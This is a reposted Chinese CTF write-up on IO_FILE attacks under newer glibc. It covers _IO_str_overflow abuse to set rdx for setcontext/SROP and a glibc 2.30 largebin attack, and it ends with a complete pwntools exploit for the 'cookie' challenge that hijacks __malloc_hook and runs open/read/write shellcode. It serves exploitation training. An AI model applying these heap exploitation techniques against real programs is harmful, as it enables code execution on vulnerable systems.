(转)新版本glibc下的IO_FILE攻击
前言
原文链接:cnitlrt
攻击原理:
在以前版本的IO_FILE攻击普遍上采用的是劫持IO函数的_chain字段为伪造的IO_FILE_plus然后进行利用,其中伪造的IO_FILE_plus的vtable一般是io_str_jmps,而新版本的IO_FILE攻击也不例外,首先我们看一下libc2.32上的io_str_overflow函数
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
可以看到程序里面有malloc,memcpy,free等函数,并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置:
0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]
可以看到在调用malloc之前的0x7ffff7e6eb55位置rdx被赋值为[rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现srop,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop
综上可知参数对应关系为:
_flags = 0
_IO_write_ptr = 用于srop的地址(此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base)
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base ) + 100)
memcpy(new_buf,_IO_buf_base,_IO_buf_end - _IO_buf_base)
free(_IO_buf_base)
glibc2.30下的largebin attrack
首先看一下源码
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
可以看到在将unsortedbin放入largbin的时候,程序在unsortedbin size > largbin size的时候加了一个检查
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
而这个位置正是我们平时常用的位置,但是同时可以看到在size小于的时候没有加这个检查,因此我们可以通过这一点来进行glibc2.30下的largebin attrack,具体做法是首先在largbin中添加一个堆块,同时释放一个比它小并且在同意index的堆块进unsortedbin,改变largbin的bk_nextsize为targetaddr-0x20,然后我们申请一个free之后可以放入unsortedbin的堆块,这是会将unsortedbin放入largbin,并执行下面的流程
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
而largbin->_bk_nexsize已经被劫持成了targetaddr-0x20了,因此会像targetaddr-0x20->fd_nextsize写入largbin堆块的值,即向targetaddr写入堆地址,然后我们free我们申请的这个堆块的时候就会和剩下的unsortedbin堆块合并,重新放入unsortedbin中,达到复用的效果
攻击流程
此种方法一般结合largebin attrack,因为largebin attrack可以实现任意地址填充堆地址,因此我们可以利用largebin attrack将io函数的_chain字段劫持为堆地址,然后当程序退出的时候会刷新程序流此时会进入我们伪造的io_file中实现我们的攻击,下面我们用我出的一个例题来具体体会一下该方法的威力
练习
此题为HWS - cookie,由于一些特殊原因就暂不提供附件了,师傅们可以根据分析写一个类似的题目
分析:
该题为glibc2.31,程序有add del edit show功能,在del里面有着明显的uaf漏洞,并且开了沙盒,add的时候只能申请largebin范围的堆块并且不超过0x600
利用:
我们考虑使用largebin attrack劫持stderr->_chain字段为一个堆地址并且劫持global_max_fast为堆地址用来构造chunkoverlapping,通过chunkoverlapping在0xa0的bin中留下两个堆块,其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,这样在进入下一个fake IO_FILE的时候就会触发srop进而orw出flag,由此我们需要构造三个fake IO_FILE_plus,前两个用来申请到malloc_hook并且将malloc_hook填充为setcontext,最后一个用来设置rdx的值同时触发srop,
调试
我们进行简单的调试直观的看一下,首先我们通过chunkoverlapping来在0xa0的堆块中放入两个堆块,此时的bin:
然后我们看一下我们的fake IO_FILE_plus
Fake IO_FILE_plus1(malloc(0x90))
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
可以看到第二行的两个地址差22,而通过我们的size计算可以得出size = (0x90-100)/2 = 22
执行完之后:
Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8 #chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
执行之后:
可以看到已经成功将malloc_hook劫持为setcontext,接下来执行第三个IO_FILE_plus就会触发srop,orw出flag
Fake IO_FILE_plus3:(srop)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: cnitlrt
import sys
import os
import re
from pwn import *
# context.log_level = 'debug'
binary = './cookie'
elf = ELF('./cookie')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = sys.argv[1]
port = sys.argv[2]
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla(">>",str(idx))
def add(size,payload):
cmd(1)
sla("Size:\n",str(size))
sa("Content:\n",payload)
def show(idx):
cmd(3)
sla("Index:\n",str(idx))
def free(idx):
cmd(2)
sla("Index:\n",str(idx))
def edit(idx,payload):
cmd(4)
sla("Index:\n",str(idx))
sa("Content:\n",payload)
def ss():
gdb.attach(p)
pause()
def exp():
add(0x458,"aaaa")
add(0x500,"aaaa")
add(0x468,"aaaa")
add(0x500,"aaaa")#3
add(0x500,"aaaa")#4
add(0x500,"aaaa")#5
add(0x500,"aaaa")#6
add(0x500,"aaaa")#7
add(0x500,"aaaa")#8
#leak libc_base
free(2)
show(2)
libc_base = l64()-libc.sym['__malloc_hook']-0x10-96
lg("libc_base",libc_base)
#put chunk2 into largebin
add(0x600,"aaaa")#9
#leak heap_base
edit(2,"a"*0x19)
show(2)
ru("a"*0x18)
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0xc61
lg("heap_base",heap_base)
#put chunk0 into unsortedbin
free(0)
#hijack stderr->_chain = chunk2
edit(2,p64(0)*3+p64(0x1ec628+libc_base-0x20))#stderr->_chain
add(0x448,"aaa")#10
free(10)
#hijack global_max_fast = chunk2
edit(2,p64(0)*3+p64(0x1eeb80+libc_base-0x20))#global_max_fast
add(0x448,"aaa")#11
#chunk overlapping
edit(3,"a"*0x40+p64(0)+p64(0x511))
edit(4,"a"*0x30+p64(0)+p64(0x21)*10)
free(3)
edit(3,p64(heap_base+0x10c0))
add(0x500,"aaa")
add(0x500,"ddd")#13
edit(4,"a"*0x90+p64(0)+p64(0x471))
edit(13,"a"*0x4b0+p64(0)+p64(0xa1))
#fastbin attrack
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
"""
tcachebins
0xa0 [ 2]: 0x56074fb96590 —▸ 0x7f116d446b60 (__memalign_hook) —▸ 0x7f116d2f8570 (memalign_hook_ini) ◂— ...
fastbins
"""
payload = p64(0x580dd+libc_base)+p64(0x21) #setcontext
edit(0,payload*50)
#malloc(0x90)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(2,payload)
#malloc(0x90) && set malloc_hook = setcontext
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(5,payload)
#trigger && rdx = QWORD PTR [rdi+0x28] = heap_base+0x29d0
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(6,payload)
# ss()
free_hook = libc_base+libc.sym["__free_hook"]
free_hook1 = free_hook&0xfffffffffffff000
syscall = libc_base+0x0000000000066229
#fakeframe
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
edit(8,str(frame))
poprdi = 0x0000000000026b72+libc_base
poprsi = libc_base+0x0000000000027529
pop2rdx = libc_base+0x000000000011c1e1
poprax = libc_base+0x000000000004a550
#mprotect(free_hook1,0x2000,7) && orw shellcode
payload = [poprdi,free_hook1,poprsi,0x2000,pop2rdx,0x7,0]
payload += [poprax,10,syscall,free_hook1+0x58]
sc = shellcraft.open("flag",0)
sc += shellcraft.read("rax",free_hook1+0x300,0x40)
sc += shellcraft.write(1,free_hook1+0x300,0x40)
cmd(5)
p.send(flat(payload)+asm(sc))
p.interactive()
if __name__ == "__main__":
exp()
总结:
该方法我觉得作用很大,可以在一功能不够用的时候或存在限制的时候实现非预期申请释放和填充堆块,用的熟练的话可以达到意想不到的效果